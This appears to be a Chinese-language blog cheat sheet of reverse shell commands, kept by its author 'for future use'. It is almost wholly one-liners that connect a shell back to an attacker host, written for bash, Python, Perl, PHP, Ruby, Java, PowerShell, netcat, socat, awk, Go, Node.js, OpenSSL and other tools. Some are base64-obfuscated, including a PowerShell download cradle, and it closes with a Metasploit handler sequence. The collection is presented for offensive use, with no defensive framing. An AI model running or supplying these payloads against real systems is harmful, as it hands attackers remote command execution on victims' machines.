这里记录一下反弹shell的方法,方便以后的使用
参考https://mp.weixin.qq.com/s/hTGuZ7kdh7K4mToGdbogvA
基于bash/Terminal的反弹shell
经典的TCP反弹
1 bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
使用文件描述符
1 exec 5<>/dev/tcp/ATTACKER_IP/PORT; cat <&5 | while read line; do $line 2>&5 >&5; done
使用管道
1 mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc ATTACKER_IP PORT > /tmp/f
UDP反弹
1 bash -i >& /dev/udp/ATTACKER_IP/PORT 0>&1
反弹到多个端口
1 bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 & bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1
bash反弹绕过
1 bash -c '/bin/bash -i >& /dev/tcp/10.10.10.130/1234 0>&1'
python反弹shell
python2
1 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3
1 python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",PORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];import pty; pty.spawn("/bin/bash")'
python使用pty模块
1 python -c 'import pty, socket; s=socket.socket(); s.connect(("ATTACKER_IP",PORT)); [os.dup2(s.fileno(),f) for f in (0,1,2)]; pty.spawn("/bin/sh")'
python单行编码
1 python -c "exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIkFUVEFDS0VSX0lQIixQT1JUKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQ=='))"
perl反弹shell
经典的perl反弹
1 perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2.perl简写版
1 perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ATTACKER_IP:PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
PHP反弹shell
php fsockopen
1 php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
PHP socket_create
1 php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_connect($s,"ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
3.php反引号执行
1 php -r 'system("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1\'");'
Ruby反弹shell
Ruby TCPSocket
1 ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ATTACKER_IP","PORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Ruby exec
1 ruby -rsocket -e 'c=TCPSocket.new("ATTACKER_IP","PORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
java反弹shell
java Runtime.exec
1 Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ATTACKER_IP/PORT;cat <&5 | while read line; do $line 2>&5 >&5; done"});
java完整类
1 public class ReverseShell { public static void main(String[] args) throws Exception { String[] cmd = {"/bin/bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"}; Runtime.getRuntime().exec(cmd); }}
Powershell反弹shell
PowerShell
1 powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
PowerShell base64编码powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AQQBUAFQAQQBDAEsARQBSAF8ASQBQADoAUABPAFIAVAAvAHIAZQB2AGUAcgBzAGUALgBwAHMAMQAnACkA
Netcat 反弹shell
传统版本
1 nc -e /bin/sh ATTACKER_IP PORT
nc没有-e参数时
1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f
nc的udp反弹
1 nc -u ATTACKER_IP PORT -e /bin/sh
ncat(nmap版)
1 ncat ATTACKER_IP PORT -e /bin/bash
nc反弹msf
1 2 3 4 5 6 7 8 9 10 11 12 msfconsole use exploit/multi/handler set PAYLOAD windows/shell_reverse_tcp set LHOST 192.168.53.51 set LPORT 1234 run -j use multi/recon/local_exploit_suggester set session 3 run
Socat反弹shell
socat TCP
1 socat TCP:ATTACKER_IP:PORT EXEC:/bin/bash
Socat UDP
1 socat UDP:ATTACKER_IP:PORT EXEC:/bin/bash
Socat SSL加密
1 socat OPENSSL:ATTACKER_IP:PORT EXEC:/bin/bash
1 socat -v tcp-l:80,reuseaddr,fork exec:'echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\n" bash -i >&/dev/tcp/VPS的ip/端口 0>&1'
vps返回
1 2 3 4 HTTP/1.1 200 OK Content-Type: text/plain bash -i >&/dev/tcp/VPS的ip/端口 0>&1
给到bash执行反弹成功。
Awk反弹shell
Awk TCP连接
1 awk 'BEGIN {s = "/inet/tcp/0/ATTACKER_IP/PORT"; while(1) { do { printf "shell>" |& s; s |& getline c; if(c) { while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'
Telnet反弹shell
telnet双端口
1 telnet ATTACKER_IP 4444 | /bin/sh | telnet ATTACKER_IP 4445
Lua反弹shell
lua socket
1 lua -e "require('socket');require('os');t=socket.tcp();t:connect('ATTACKER_IP','PORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Go反弹shell
Go语言单行
1 echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","ATTACKER_IP:PORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go
Node.js反弹shell
Node.js子进程
1 require('child_process').exec('nc -e /bin/sh ATTACKER_IP PORT')
Node.js socket版
1 (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(PORT, "ATTACKER_IP", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();
Openssl加密反弹
Openssl加密连接
1 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER_IP:PORT > /tmp/s; rm /tmp/s
Openssl证书认证
1 openssl s_client -connect ATTACKER_IP:PORT -quiet -cert client.pem -key client.key
Zsh反弹shell
Zsh内置TCP
1 zsh -c 'zmodload zsh/net/tcp && ztcp ATTACKER_IP PORT && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
Expect反弹shell
Expect脚本
1 2 3 4 5 6 7 #!/usr/bin/expect set host ATTACKER_IP set port PORT spawn /bin/bash expect "$ " send "bash -i >& /dev/tcp/$host/$port 0>&1\r" interact
基于/dev/tcp的各种形态
使用exec重定向
1 0<&196;exec 196<>/dev/tcp/ATTACKER_IP/PORT; sh <&196 >&196 2>&196
使用readline
1 exec 5<>/dev/tcp/ATTACKER_IP/PORT; cat <&5 | while read line; do $line 2>&5 >&5; done
使用coproc(bash 4.0+)
1 coproc nc ATTACKER_IP PORT; cat <&"${COPROC[0]}" >&"${COPROC[1]}"